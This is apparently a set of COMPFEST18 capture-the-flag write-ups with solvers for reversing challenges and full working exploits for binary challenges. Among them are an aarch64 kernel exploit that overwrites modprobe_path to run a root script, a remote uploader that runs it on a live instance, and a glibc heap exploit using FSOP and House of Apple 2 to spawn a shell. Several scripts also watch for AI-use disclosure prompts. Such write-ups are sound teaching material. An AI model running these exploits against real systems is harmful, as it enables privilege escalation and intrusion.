  URLClassLoader cl=new URLClassLoader(new URL[]{new File(a[0]).toURI().toURL()}, Chain.class.getClassLoader());
  Class<?> P=cl.loadClass("p");
  int g=Integer.parseInt(a[1]), h=Integer.parseInt(a[2]);
  Method pai=P.getMethod("a", int.class);
  Method pbb=P.getMethod("b", byte[].class);
  Method paa=P.getMethod("a", byte[].class, byte[].class);
  Method pal=P.getMethod("a", long.class, int.class, int.class);
  byte[] bh=(byte[])pai.invoke(null,h), bg=(byte[])pai.invoke(null,g);
  Method pad=P.getDeclaredMethod("a", byte[].class); pad.setAccessible(true);
  byte[] cat=(byte[])paa.invoke(null,bh,bg);
  byte[] dg=(byte[])pad.invoke(null,(Object)cat);
  long n=((Long)pbb.invoke(null,(Object)dg)) % 4896L;
  int[] o=(int[])pal.invoke(null,n,18,3);
  System.out.println("  g(level)="+g+"  h(coins)="+h);
  System.out.println("  n="+n+"  o="+Arrays.toString(o));
  System.out.print("  chain quests: ");
  for(int v:o) System.out.print("Q"+(v+1)+" ");
  System.out.println();
}}

Solve.java

import java.io.*;
import java.lang.reflect.*;
import java.net.*;
import java.util.*;

public class Solve {
    static Class<?> P;
    static Method aInt, bBytes, aBB, aB, aLII, bInt, aIB, bBB, aBI, bStr, aIArr;

    static Method m(Class<?> c, String n, Class<?>... p) throws Exception {
        Method x = c.getDeclaredMethod(n, p);
        x.setAccessible(true);
        return x;
    }

    static void bind(ClassLoader cl) throws Exception {
        P = cl.loadClass("p");
        aInt  = m(P, "a", int.class);
        bBytes= m(P, "b", byte[].class);
        aBB   = m(P, "a", byte[].class, byte[].class);
        aB    = m(P, "a", byte[].class);
        aLII  = m(P, "a", long.class, int.class, int.class);
        bInt  = m(P, "b", int.class);
        aIB   = m(P, "a", int.class, byte[].class);
        bBB   = m(P, "b", byte[].class, byte[].class);
        aBI   = m(P, "a", byte[].class, int.class);
        bStr  = m(P, "b", String.class);
        aIArr = m(P, "a", int.class, int[].class);
    }

    static byte[] enc(int v) throws Exception { return (byte[]) aInt.invoke(null, v); }
    static byte[] enc(String s) throws Exception { return (byte[]) bStr.invoke(null, s); }
    static byte[] cat(byte[] a, byte[] b) throws Exception { return (byte[]) aBB.invoke(null, a, b); }
    static byte[] digest(byte[] a) throws Exception { return (byte[]) aB.invoke(null, (Object) a); }
    static long fold(byte[] a) throws Exception { return (Long) bBytes.invoke(null, (Object) a); }
    static int[] spread(long v, int a, int b) throws Exception { return (int[]) aLII.invoke(null, v, a, b); }
    static byte[] step(int k, byte[] v) throws Exception { return (byte[]) aIB.invoke(null, k, v); }
    static int[] step(int k, int[] v) throws Exception { return (int[]) aIArr.invoke(null, k, v); }

    static int[] target(byte[][] parts, int[] u, int[] w) throws Exception {
        byte[][] r = new byte[parts.length][];
        for (int i = 0; i < parts.length; i++) r[i] = parts[w[i]];
        byte[] acc = digest(step(u[0], r[0]));
        for (int i = 1; i < r.length; i++)
            acc = (byte[]) bBB.invoke(null, acc, step(u[i], r[i]));
        return (int[]) aBI.invoke(null, acc, 16);
    }

    static int[] unstep(int key, int[] out, int radix) throws Exception {
        int n = out.length;
        int[] sigma = new int[n];
        int[][] g = new int[n][radix];
        for (int j = 0; j < n; j++) {
            int[] zero = new int[n];
            int[] base = step(key, zero);
            for (int v = 1; v < radix; v++) {
                int[] vec = new int[n]; vec[j] = v;
                int[] o = step(key, vec);
                for (int i = 0; i < n; i++)
                    if (o[i] != base[i]) { sigma[j] = i; g[i][v] = o[i]; }
            }
            g[sigma[j]][0] = base[sigma[j]];
        }
        int[] in = new int[n];
        for (int j = 0; j < n; j++) {
            int i = sigma[j], want = out[i], found = -1;
            for (int v = 0; v < radix; v++) if (g[i][v] == want) { found = v; break; }
            if (found < 0) throw new IllegalStateException("no preimage at step " + key);
            in[j] = found;
        }
        return in;
    }

    static byte[] unstepBytes(int key, byte[] out) throws Exception {
        byte[] viaPerm = tryPermutationBytes(key, out);
        if (viaPerm != null && Arrays.equals(step(key, viaPerm), out)) return viaPerm;

        int n = out.length;
        byte[] in = new byte[n];
        for (int i = 0; i < n; i++) {
            boolean ok = false;
            for (int v = 0; v < 256; v++) {
                in[i] = (byte) v;
                if (step(key, in)[i] == out[i]) { ok = true; break; }
            }
            if (!ok) throw new IllegalStateException("no causal preimage at byte " + i);
        }
        if (!Arrays.equals(step(key, in), out))
            throw new IllegalStateException("byte inverse failed for key " + key);
        return in;
    }

    static byte[] tryPermutationBytes(int key, byte[] out) throws Exception {
        int n = out.length;
        int[] sigma = new int[n];
        int[][] g = new int[n][256];
        byte[] base = step(key, new byte[n]);
        for (int j = 0; j < n; j++) {
            int hits = 0;
            for (int v = 1; v < 256; v++) {
                byte[] vec = new byte[n]; vec[j] = (byte) v;
                byte[] o = step(key, vec);
                int touched = -1;
                for (int i = 0; i < n; i++) if (o[i] != base[i]) { touched = i; hits++; }
                if (touched < 0) return null;
                sigma[j] = touched; g[touched][v] = o[touched] & 0xff;
            }
            if (hits != 255) return null;
            g[sigma[j]][0] = base[sigma[j]] & 0xff;
        }
        byte[] in = new byte[n];
        for (int j = 0; j < n; j++) {
            int i = sigma[j], want = out[i] & 0xff, found = -1;
            for (int v = 0; v < 256; v++) if (g[i][v] == want) { found = v; break; }
            if (found < 0) return null;
            in[j] = (byte) found;
        }
        return in;
    }

    static byte[] fromHex(String s) {
        s = s.trim().replaceAll("[^0-9a-fA-F]", "");
        byte[] out = new byte[s.length() / 2];
        for (int i = 0; i < out.length; i++)
            out[i] = (byte) Integer.parseInt(s.substring(2 * i, 2 * i + 2), 16);
        return out;
    }

    public static void main(String[] args) throws Exception {
        URLClassLoader cl = new URLClassLoader(
                new URL[]{new File(args[0]).toURI().toURL()}, Solve.class.getClassLoader());
        bind(cl);

        if (args[1].equals("selftest")) { selftest(cl); return; }
        if (args[1].equals("verify")) { verify(cl); return; }

        int h  = Integer.parseInt(args[1]);
        int g  = Integer.parseInt(args[2]);
        int bp = Integer.parseInt(args[3]);
        String cp = args[4];
        int bq = Integer.parseInt(args[5]);
        String dq = args[6];
        int br = Integer.parseInt(args[7]);
        String cr = args[8];
        int s  = Integer.parseInt(args[9]);
        String flagHex = args.length > 10 ? args[10] : null;

        byte[][] parts = { enc(h), enc(g), enc(bp), enc(cp), enc(bq), enc(dq),
                           enc(br), enc(cr), enc(s) };
        byte[] acc = new byte[0];
        for (byte[] part : parts) acc = cat(acc, part);
        long t = Math.floorMod(fold(digest(acc)), 17643225600L);
        int[] u = spread(t, 18, 9);
        long v = Math.floorMod(fold(digest(cat(enc(g), enc(h)))), 362880L);
        int[] w = spread(v, 9, 9);
        int x = (int) (t % 32);
        String alpha = (String) bInt.invoke(null, x);
        int[] y = target(parts, u, w);

        int[] cur = y.clone();
        for (int i = u.length - 1; i >= 0; i--) cur = unstep(u[i], cur, alpha.length());
        StringBuilder pw = new StringBuilder();
        for (int c : cur) pw.append(alpha.charAt(c));
        System.out.println("t=" + t + " x=" + x + " alphabet=" + alpha);
        System.out.println("u=" + Arrays.toString(u) + " w=" + Arrays.toString(w));
        System.out.println("y=" + Arrays.toString(y));
        System.out.println("PASSWORD=" + pw);

        if (flagHex != null) {
            byte[] blob = fromHex(flagHex);
            for (int i = u.length - 1; i >= 0; i--) blob = unstepBytes(u[i], blob);
            System.out.println("FLAG=" + new String(blob, "UTF-8"));
        }
    }


    static void verify(ClassLoader cl) throws Exception {
        Class<?> L = cl.loadClass("l");
        Method c = L.getDeclaredMethod("c"); c.setAccessible(true);
        Object inst = c.invoke(null);
        Field[] want = {L.getDeclaredField("g"), L.getDeclaredField("h"), L.getDeclaredField("p"),
                        L.getDeclaredField("q"), L.getDeclaredField("r"), L.getDeclaredField("s"),
                        L.getDeclaredField("t"), L.getDeclaredField("u"), L.getDeclaredField("x"),
                        L.getDeclaredField("y"), L.getDeclaredField("w"), L.getDeclaredField("o")};
        for (Field f : want) f.setAccessible(true);
        int g = want[0].getInt(inst), h = want[1].getInt(inst);
        String pp = (String) want[2].get(inst), qq = (String) want[3].get(inst), rr = (String) want[4].get(inst);
        int s = want[5].getInt(inst);
        Method mb = L.getDeclaredMethod("b", String.class); mb.setAccessible(true);
        Method mc = L.getDeclaredMethod("c", String.class); mc.setAccessible(true);
        Method md = L.getDeclaredMethod("d", String.class); md.setAccessible(true);
        int bp = (Integer) mb.invoke(inst, pp), bq = (Integer) mb.invoke(inst, qq), br = (Integer) mb.invoke(inst, rr);
        String cp = (String) mc.invoke(inst, pp), dq = (String) md.invoke(inst, qq), cr = (String) mc.invoke(inst, rr);
        System.out.println("local: g=" + g + " h=" + h + " s=" + s);
        System.out.println("       p=" + pp + " q=" + qq + " r=" + rr);
        System.out.println("       o=" + Arrays.toString((int[]) want[11].get(inst)));
        System.out.println("       bp=" + bp + " cp=" + cp + " bq=" + bq + " dq=" + dq + " br=" + br + " cr=" + cr);

        byte[][] parts = { enc(h), enc(g), enc(bp), enc(cp), enc(bq), enc(dq), enc(br), enc(cr), enc(s) };
        byte[] acc = new byte[0];
        for (byte[] part : parts) acc = cat(acc, part);
        long t = Math.floorMod(fold(digest(acc)), 17643225600L);
        int[] u = spread(t, 18, 9);
        long v = Math.floorMod(fold(digest(cat(enc(g), enc(h)))), 362880L);
        int[] w = spread(v, 9, 9);
        int x = (int) (t % 32);
        int[] y = target(parts, u, w);
        System.out.println("t  mine=" + t + "  jar=" + want[6].getLong(inst));
        System.out.println("u  mine=" + Arrays.toString(u) + "  jar=" + Arrays.toString((int[]) want[7].get(inst)));
        System.out.println("w  mine=" + Arrays.toString(w) + "  jar=" + Arrays.toString((int[]) want[10].get(inst)));
        System.out.println("x  mine=" + x + "  jar=" + want[8].getInt(inst));
        System.out.println("y  mine=" + Arrays.toString(y) + "  jar=" + Arrays.toString((int[]) want[9].get(inst)));
    }


    static void selftest(ClassLoader cl) throws Exception {
        Class<?> L = cl.loadClass("l");
        Method c = L.getDeclaredMethod("c"); c.setAccessible(true);
        Object inst = c.invoke(null);
        Field fu = L.getDeclaredField("u"), fx = L.getDeclaredField("x"), fy = L.getDeclaredField("y");
        fu.setAccessible(true); fx.setAccessible(true); fy.setAccessible(true);
        int[] u = (int[]) fu.get(inst), y = (int[]) fy.get(inst);
        String alpha = (String) bInt.invoke(null, fx.getInt(inst));

        int[] cur = y.clone();
        for (int i = u.length - 1; i >= 0; i--) cur = unstep(u[i], cur, alpha.length());
        StringBuilder pw = new StringBuilder();
        for (int q : cur) pw.append(alpha.charAt(q));
        Method chk = L.getDeclaredMethod("a", String.class); chk.setAccessible(true);
        System.out.println("password " + pw + " accepted by l.a(): " + chk.invoke(inst, pw.toString()));

        byte[] probe = "COMPFEST18{round_trip_probe_0123456789}".getBytes("UTF-8");
        byte[] enc = probe.clone();
        for (int k : u) enc = step(k, enc);
        byte[] dec = enc.clone();
        for (int i = u.length - 1; i >= 0; i--) dec = unstepBytes(u[i], dec);
        System.out.println("byte round-trip: " + Arrays.equals(probe, dec)
                + "  -> " + new String(dec, "UTF-8"));
    }
}

Final Flag

COMPFEST18{bUR_BuR_BUr_buRh4n_h4Un7s_m3_t!L_t0D4y_AhQdTQwsw5aaypDR}

6. The Last Bitbender

Steps

1. Extract the bytes in [0x600, 0x8a2) from chall.exe.
2. Reproduce the three decryption loops for the regions 0xd4..0x196, 0x196..0x230 and 0x230..0x282 of the extracted blob.
3. Disassemble each stage in its x86-32 or x86-64 mode and translate the final arithmetic into the solver.
4. Run the local self-test and require an exact match with the embedded expected vector. Do not contact the remote service before that check passes.
5. Apply the transform to the challenge value the service sends and return the result.
6. The service answers ok and then returns the flag.

Exploit

solve.py

import argparse
import getpass
import re
import socket


MASK64 = (1 << 64) - 1
KEY = 0xA6F1C0D93B5E2748
CMUL = 0xFF51AFD7ED558CCD
SELF_TEST_INPUT = bytes.fromhex("9c41e07db2f5361a8ad30c47e961b5f2")
SELF_TEST_EXPECTED = bytes.fromhex("023a3db6ab0ec7efd2babd484c91f80f")
DISCLOSURE_PATTERN = re.compile(
    rb"i-am-using-an-ai-agent|using\s+(?:an?\s+)?ai|ai\s+agent|"
    rb"disclos\w*\s+ai|check\w*[^\r\n]{0,40}\bai\b",
    re.IGNORECASE,
)


def rol64(value: int, count: int) -> int:
    return ((value << count) | (value >> (64 - count))) & MASK64


def transform(request: bytes) -> bytes:
    if len(request) != 16:
        raise ValueError("request must contain exactly 16 bytes")

    left = int.from_bytes(request[:8], "little") ^ KEY
    right = int.from_bytes(request[8:], "little")

    left = (left + (left & 0xFFFFFFFF) * (right & 0xFFFFFFFF)) & MASK64
    right = rol64(right, 13)
    left ^= right

    right = (right + left) & MASK64
    right = rol64(right, 29)
    right = (right * CMUL) & MASK64
    left = rol64((left + right) & MASK64, 17)

    return (left ^ right).to_bytes(8, "little") + (
        (left + right) & MASK64
    ).to_bytes(8, "little")


def self_test() -> None:
    actual = transform(SELF_TEST_INPUT)
    print(f"self-test input:    {SELF_TEST_INPUT.hex()}")
    print(f"self-test expected: {SELF_TEST_EXPECTED.hex()}")
    print(f"self-test actual:   {actual.hex()}")
    if actual != SELF_TEST_EXPECTED:
        raise SystemExit("self-test failed")
    print("self-test: PASS")


def solve_remote(host: str, port: int) -> None:
    with socket.create_connection((host, port), timeout=10) as connection:
        connection.settimeout(3)
        banner = connection.recv(4096)
        print(banner.decode("utf-8", errors="replace"), end="")

        if DISCLOSURE_PATTERN.search(banner):
            raise SystemExit("AI-use disclosure/check detected; response not sent")

        if b"CTFd access token:" in banner:
            token = getpass.getpass("")
            connection.sendall(token.encode("utf-8") + b"\n")
            token = ""
            banner = connection.recv(4096)
            print(banner.decode("utf-8", errors="replace"), end="")
            if DISCLOSURE_PATTERN.search(banner):
                raise SystemExit("AI-use disclosure/check detected; response not sent")

        match = re.search(rb"request:\s*([0-9a-fA-F]{32})", banner)
        if not match:
            raise SystemExit("no 16-byte request found; response not sent")

        request = bytes.fromhex(match.group(1).decode("ascii"))
        response = transform(request).hex().encode("ascii")
        print(f"response: {response.decode('ascii')}")
        connection.sendall(response + b"\n")

        chunks = []
        while True:
            try:
                chunk = connection.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            chunks.append(chunk)
        print(b"".join(chunks).decode("utf-8", errors="replace"), end="")


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("host", nargs="?")
    parser.add_argument("port", nargs="?", type=int)
    args = parser.parse_args()

    self_test()
    if (args.host is None) != (args.port is None):
        parser.error("host and port must be provided together")
    if args.host is not None:
        solve_remote(args.host, args.port)


if __name__ == "__main__":
    main()

unfold.py

from pathlib import Path

from capstone import CS_ARCH_X86, CS_MODE_32, CS_MODE_64, Cs


MASK64 = (1 << 64) - 1
PE_PATH = Path(__file__).with_name("original") / "chall.exe"


def rol64(value: int, count: int) -> int:
    return ((value << count) | (value >> (64 - count))) & MASK64


def decrypt_stage0(shellcode: bytearray) -> None:
    state = (0x46662DE2AE713EE0 * 0xD1B54A32D192ED03) & MASK64
    state = rol64(state, 0x11) ^ 0x6E7A5380F8318187

    for index in range(0xC2):
        state = (
            state * 0x9E6C63C6A3C4B1D1 + 0x2545F4914F6CDD1D
        ) & MASK64
        shellcode[0xD4 + index] ^= state >> 56


def decrypt_stage1(shellcode: bytearray) -> None:
    state = 0x5F3A19C7
    for index in range(0x9A):
        state = (state * 0x2C9277B5 + 0xAC564B05) & 0xFFFFFFFF
        shellcode[0x196 + index] ^= state >> 24


def decrypt_stage2(shellcode: bytearray) -> None:
    state = 0xB5297A4D2C1F60E9
    for index in range(0x52):
        state = (
            state * 0x2545F4914F6CDD1D + 0x9E6C63C6A3C4B1D1
        ) & MASK64
        shellcode[0x230 + index] ^= state >> 56


def print_disassembly(shellcode: bytearray, start: int, end: int, mode: int) -> None:
    disassembler = Cs(CS_ARCH_X86, mode)
    disassembler.detail = False
    for instruction in disassembler.disasm(bytes(shellcode[start:end]), start):
        raw = instruction.bytes.hex()
        print(
            f"{instruction.address:04x}: {raw:<28} "
            f"{instruction.mnemonic:<8} {instruction.op_str}"
        )


def main() -> None:
    pe = PE_PATH.read_bytes()
    shellcode = bytearray(pe[0x600 : 0x600 + 0x2A2])
    decrypt_stage0(shellcode)
    decrypt_stage1(shellcode)
    decrypt_stage2(shellcode)

    print("[bootstrap: x86-32]")
    print_disassembly(shellcode, 0x00, 0x17, CS_MODE_32)
    print("\n[bootstrap: x86-64]")
    print_disassembly(shellcode, 0x17, 0xD4, CS_MODE_64)
    print("\n[stage 1: x86-32]")
    print_disassembly(shellcode, 0xD4, 0x196, CS_MODE_32)
    print("\n[stage 2: x86-64]")
    print_disassembly(shellcode, 0x196, 0x230, CS_MODE_64)
    print("\n[stage 3: x86-32]")
    print_disassembly(shellcode, 0x230, 0x282, CS_MODE_32)


if __name__ == "__main__":
    main()

Final Flag

COMPFEST18{0nly_th3_av4t4r_m4st3r3d_4ll_th3m_b1ts_dvIdL1GMJ5vBsR7L}

This is an instance-specific flag issued by the live service, which returned it after accepting the computed response with ok.

Binary Exploitation

7. menfess

Steps

1. Issue CREATE followed by VIEW to leak the kernel slide through the out-of-bounds this_device -> device_ktype dereference.
2. Issue CREATE with size = 72 and data[64:72] = &gadget to overwrite send_func, and place the modprobe target string and the address of modprobe_path inside content. Then issue SEND so that the gadget overwrites modprobe_path with /tmp/x.
3. Drop a small root script at /tmp/x containing cat /dev/vda > /tmp/flag; chmod 666 /tmp/flag, then call socket() with an unregistered address family to fire request_module, which runs /tmp/x as root.
4. Read the resulting world-readable flag file.

The exploit was built as a static aarch64 binary and repacked into the initramfs. It succeeded on 5 out of 5 local QEMU runs against a placeholder flag, and was then uploaded to the remote instance in chunked base64 and executed there, once the redpwn proof-of-work guarding the connection had been solved.

Exploit

exploit.c

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <unistd.h>

#define CMD_CREATE 0x1337
#define CMD_SEND   0x1338
#define CMD_VIEW   0x1339

#define DEVICE_KTYPE  0xffff8000816b3180ULL
#define MODPROBE_PATH 0xffff800082bfa730ULL
#define WRITE_GADGET  0xffff8000800a2ef8ULL

struct create_req {
    unsigned long size;
    unsigned long index;
    unsigned char data[72];
};

struct send_req {
    unsigned long index;
};

struct view_req {
    unsigned long index;
    unsigned char data[72];
};

static void fail(const char *what)
{
    perror(what);
    exit(1);
}

static void write_all(int fd, const void *buf, size_t len)
{
    const unsigned char *p = buf;
    while (len) {
        ssize_t n = write(fd, p, len);
        if (n < 0)
            fail("write");
        p += n;
        len -= (size_t)n;
    }
}

static void install_helper(void)
{
    static const char script[] =
        "#!/bin/sh\n"
        "cat /dev/vda > /tmp/flag\n"
        "chmod 666 /tmp/flag\n";
    int fd = open("/tmp/x", O_WRONLY | O_CREAT | O_TRUNC, 0777);
    if (fd < 0)
        fail("open /tmp/x");
    write_all(fd, script, sizeof(script) - 1);
    close(fd);
    if (chmod("/tmp/x", 0777) < 0)
        fail("chmod /tmp/x");
}

static void trigger_modprobe(void)
{
    for (int family = 1; family < 64; family++) {
        int fd = socket(family, SOCK_STREAM, 0);
        if (fd >= 0)
            close(fd);
    }
}

int main(void)
{
    int fd = open("/dev/menfess", O_RDWR);
    if (fd < 0)
        fail("open /dev/menfess");

    struct view_req view;
    memset(&view, 0, sizeof(view));
    view.index = 14;
    if (ioctl(fd, CMD_VIEW, &view) < 0)
        fail("VIEW(14)");

    uint64_t leaked_ktype;
    memcpy(&leaked_ktype, view.data + 5 * sizeof(uint64_t), sizeof(leaked_ktype));
    uint64_t slide = leaked_ktype - DEVICE_KTYPE;
    printf("[+] device_ktype = %#llx\n", (unsigned long long)leaked_ktype);
    printf("[+] KASLR slide  = %#llx\n", (unsigned long long)slide);

    install_helper();

    struct create_req create;
    memset(&create, 0, sizeof(create));
    create.size = sizeof(create.data);
    create.index = 0;

    uint64_t value = 0x000000782f706d74ULL;
    uint64_t target = MODPROBE_PATH + slide;
    uint64_t gadget = WRITE_GADGET + slide;
    memcpy(create.data + 8, &value, sizeof(value));
    memcpy(create.data + 16, &target, sizeof(target));
    create.data[0x38] = 0;
    memcpy(create.data + 64, &gadget, sizeof(gadget));

    if (ioctl(fd, CMD_CREATE, &create) < 0)
        fail("CREATE");

    struct send_req send = { .index = 0 };
    if (ioctl(fd, CMD_SEND, &send) < 0)
        fail("SEND");
    puts("[+] modprobe_path changed to /tmp/x");

    trigger_modprobe();

    for (int i = 0; i < 100; i++) {
        int flagfd = open("/tmp/flag", O_RDONLY);
        if (flagfd >= 0) {
            char buf[512];
            ssize_t n = read(flagfd, buf, sizeof(buf) - 1);
            close(flagfd);
            if (n > 0) {
                buf[n] = '\0';
                printf("[+] FLAG: %s\n", buf);
                return 0;
            }
        }
        usleep(20000);
    }

    fprintf(stderr, "[-] /tmp/flag was not created\n");
    return 1;
}

run_remote.py

import base64
import os
import re
import select
import socket
import subprocess
import sys
import time

HOST, PORT = sys.argv[1], int(sys.argv[2])
ROOT = os.path.dirname(os.path.abspath(__file__))
PAYLOAD = os.path.join(ROOT, "exploit.gz")
POW = os.path.expanduser("~/.cache/redpwnpow/redpwnpow-v0.1.2-linux-amd64")
STOP_MARKERS = (
    b"i-am-using-an-ai-agent",
    b"using an ai agent",
    b"ai usage",
    b"ai-use",
)


def receive(sock, timeout, needles=()):
    end = time.time() + timeout
    data = bytearray()
    while time.time() < end:
        ready, _, _ = select.select([sock], [], [], 0.2)
        if not ready:
            continue
        chunk = sock.recv(65536)
        if not chunk:
            break
        data += chunk
        sys.stdout.buffer.write(chunk)
        sys.stdout.buffer.flush()
        lowered = bytes(data).lower()
        if any(marker in lowered for marker in STOP_MARKERS):
            raise RuntimeError("AI-use disclosure/check detected; stopped")
        if needles and any(needle in data for needle in needles):
            return bytes(data)
    if needles:
        raise TimeoutError(f"timed out waiting for {needles!r}")
    return bytes(data)


def send_all(sock, data):
    pending = memoryview(data)
    while pending:
        _, writable, _ = select.select([], [sock], [], 5)
        if not writable:
            raise TimeoutError("socket remained unwritable during upload")
        sent = sock.send(pending)
        pending = pending[sent:]


def main():
    print(f"[*] connecting to {HOST}:{PORT}", flush=True)
    with socket.create_connection((HOST, PORT), timeout=10) as sock:
        sock.setblocking(False)
        banner = receive(sock, 10, (b"solution:",))
        match = re.search(rb"sh -s (\S+)", banner)
        if not match:
            raise RuntimeError("PoW token not found")

        token = match.group(1).decode()
        solution = subprocess.check_output([POW, token], text=True).strip()
        print("[*] PoW solved", flush=True)
        sock.sendall(solution.encode() + b"\n")
        receive(sock, 60, (b"~ $ ",))

        with open(PAYLOAD, "rb") as payload_file:
            encoded = base64.b64encode(payload_file.read())
        lines = b"\n".join(encoded[i:i + 76] for i in range(0, len(encoded), 76))

        sock.sendall(b"stty -echo; echo __READY__\n")
        receive(sock, 5, (b"__READY__",))
        print(f"[*] uploading {len(encoded)} base64 bytes", flush=True)
        sock.sendall(b"base64 -d > /tmp/e.gz <<'__PAYLOAD__'\n")
        send_all(sock, lines + b"\n__PAYLOAD__\n")
        sock.sendall(b"gzip -df /tmp/e.gz; chmod +x /tmp/e; echo __RUN__; /tmp/e\n")

        output = receive(
            sock,
            120,
            (b"COMPFEST18{", b"/tmp/flag was not created", b"Kernel panic"),
        )
        flag_match = re.search(rb"COMPFEST18\{[^}\r\n]+\}", output)
        if not flag_match:
            output += receive(sock, 5)
            flag_match = re.search(rb"COMPFEST18\{[^}\r\n]+\}", output)
        if not flag_match:
            raise RuntimeError("flag was not recovered")
        print("\n[+] recovered:", flag_match.group().decode(), flush=True)


if __name__ == "__main__":
    main()

Final Flag

COMPFEST18{JUs7_Simpl3_k3rn3l_pwn_83ff046e01ea03c8f9ebf59e}

8. Mirai Nikki

Steps

1. Pin down the glibc 2.42 layout

The allocator's own structures were pinned first for this particular build:

num_slots[76]   @ heap+0x10    (counts down from 7)
raw entries[76] @ heap+0xa8
tcache_perthread_struct @ HEAP+0x510

Safe-linking is enabled in this build, and requests larger than 0x408 bypass the tcache and go to the unsorted bin.

2. Overlap the tcache control structure

The size-mismatch overflow was used to corrupt a chunk size so that a subsequent allocation overlaps tcache_perthread_struct itself. That converts the heap overflow into direct write access to num_slots[] and entries[], which means control of the allocator's free lists without having to defeat safe-linking, because the list heads in that structure are stored raw.

3. Manufacture a libc pointer

Plant main_arena+96 into a raw entries[] slot, then partially overwrite that entry to walk it onto _IO_2_1_stdout_. Only one nibble of the libc address is unknown at this point, so this is a 1/16 brute force, which is cheap because the heap side is already deterministic thanks to predict().

4. Leak through stdout with FSOP

With an allocation landing on _IO_2_1_stdout_, forge the FILE structure so that it leaks:

flags            = 0xfbad3887
_IO_write_base   LSB set to 0        # widen the window that gets flushed

The next write flushes adjacent libc data out of the process, which gives the libc base from _IO_2_1_stdout_ + 132.

5. House of Apple 2 to a shell

With libc known, take the standard House of Apple 2 route: point the FILE's vtable at _IO_wfile_jumps and set up the wide-data chain so that the eventual call lands on system with the argument "sh".

The following offsets were used against the provided libc:

main_arena       = libc + 0x234ac0
_IO_2_1_stdout_  = libc + 0x2355c0
_IO_wfile_jumps  = libc + 0x233228
system           = libc + 0x5c4c0

6. Prove it locally, then run it remotely

The full chain was proven locally against a patched copy of the binary, reading a planted COMPFEST18{FAKE_FLAG} through the shell, before a single byte was sent to the real service. Only then was it fired at <target host, port>, where the 1/16 libc-nibble guess landed on attempt 40 and cat /app/flag.txt returned the flag.

Exploit

import argparse
import os
import re
import struct
import subprocess
import time
from pathlib import Path

from pwn import ELF, ROP, context, log, p32, p64, process, remote


TCACHE_MAX_BINS = 76
TCACHE_ENTRIES_OFFSET = TCACHE_MAX_BINS * 2
TCACHE_DEFAULT_SLOTS = 7
ROOT = Path(__file__).resolve().parent
CHALLENGE = ROOT / "challenge"

SMALLBIN_SIZE = 0x100
SMALLBIN_TCACHE_INDEX = (SMALLBIN_SIZE - 0x20) // 0x10
FAKE_HEAD_INDEX = 61
LIBC_COPY_HEAD_INDEX = 62
ALIAS_HEAD_INDEX = 63
FAKE_USER_OFFSET = 0x280

MAIN_ARENA_OFFSET = 0x234AC0
STDIN_OFFSET = 0x2348E0
STDOUT_OFFSET = 0x2355C0
ENVIRON_OFFSET = 0x23BE28
SMALLBIN_HEADER_OFFSET = MAIN_ARENA_OFFSET + 0x50 + SMALLBIN_SIZE
SIZES_OFFSET = 0x40A0


def protect_ptr(position: int, pointer: int) -> int:
    return (position >> 12) ^ pointer


def poison_byte(leaked_nibble: int, guessed_nibble: int, target_low_byte: int) -> int:
    key_low_byte = (guessed_nibble << 4) | leaked_nibble
    return target_low_byte ^ key_low_byte


def entry_offset(index: int) -> int:
    if not 0 <= index < TCACHE_MAX_BINS:
        raise ValueError("tcache index out of range")
    return TCACHE_ENTRIES_OFFSET + 8 * index


def build_tcache_prefix(
    head_index: int, head_low16: int, used_slots: int = 1
) -> bytes:

    if not 0 <= used_slots <= TCACHE_DEFAULT_SLOTS:
        raise ValueError("used_slots out of range")
    payload = bytearray(entry_offset(head_index) + 2)
    for index in range(TCACHE_MAX_BINS):
        struct.pack_into("<H", payload, index * 2, TCACHE_DEFAULT_SLOTS)
    struct.pack_into(
        "<H",
        payload,
        head_index * 2,
        TCACHE_DEFAULT_SLOTS - used_slots,
    )
    struct.pack_into("<H", payload, entry_offset(head_index), head_low16 & 0xFFFF)
    return bytes(payload)


def libc_target_low16(
    leaked_nibble: int, source_low12: int, delta: int
) -> int:
    source_low16 = ((leaked_nibble & 0xF) << 12) | (source_low12 & 0xFFF)
    return (source_low16 + delta) & 0xFFFF


def initialized_metadata(length: int) -> bytearray:
    payload = bytearray(length)
    for index in range(TCACHE_MAX_BINS):
        struct.pack_into("<H", payload, index * 2, TCACHE_DEFAULT_SLOTS)
    return payload


def build_tcache_with_head(head_index: int, address: int) -> bytes:
    payload = initialized_metadata(entry_offset(head_index) + 8)
    struct.pack_into("<H", payload, head_index * 2, TCACHE_DEFAULT_SLOTS - 1)
    struct.pack_into("<Q", payload, entry_offset(head_index), address)
    return bytes(payload)


def find_symbol_base(leak: bytes, symbol_offset: int) -> int:
    for offset in range(0, len(leak) - 7):
        pointer = struct.unpack_from("<Q", leak, offset)[0]
        base = pointer - symbol_offset
        if base > 0 and base & 0xFFF == 0 and pointer >> 40 in range(0x70, 0x80):
            return base
    raise ValueError("exact symbol pointer was not found")


def find_main_frame(stack_start: int, stack_dump: bytes) -> tuple[int, int]:
    for offset in range(8, len(stack_dump) - 7, 8):
        return_site = struct.unpack_from("<Q", stack_dump, offset)[0]
        pie_base = return_site - 0x1666
        slot_address = stack_start + offset
        saved_rbp = struct.unpack_from("<Q", stack_dump, offset - 8)[0]
        if pie_base > 0 and pie_base & 0xFFF == 0 and saved_rbp == slot_address + 8:
            return pie_base, saved_rbp
    raise ValueError("main/vuln frame was not found")


def fake_smallbin_scaffold() -> bytes:
    payload = initialized_metadata(0x3B0)
    struct.pack_into("<H", payload, SMALLBIN_TCACHE_INDEX * 2, 0)

    fake_chunk = FAKE_USER_OFFSET - 0x10
    struct.pack_into("<Q", payload, fake_chunk + 0x08, SMALLBIN_SIZE | 1)

    next_chunk = fake_chunk + SMALLBIN_SIZE
    struct.pack_into("<Q", payload, next_chunk + 0x08, 0x21)
    struct.pack_into("<Q", payload, next_chunk + 0x20 + 0x08, 0x21)
    return bytes(payload)


def fake_head_prefix(heap_nibble: int) -> bytes:
    fake_low16 = ((heap_nibble & 0xF) << 12) | 0x290
    payload = bytearray(
        build_tcache_prefix(
            head_index=FAKE_HEAD_INDEX,
            head_low16=fake_low16,
            used_slots=1,
        )
    )
    struct.pack_into("<H", payload, SMALLBIN_TCACHE_INDEX * 2, 0)
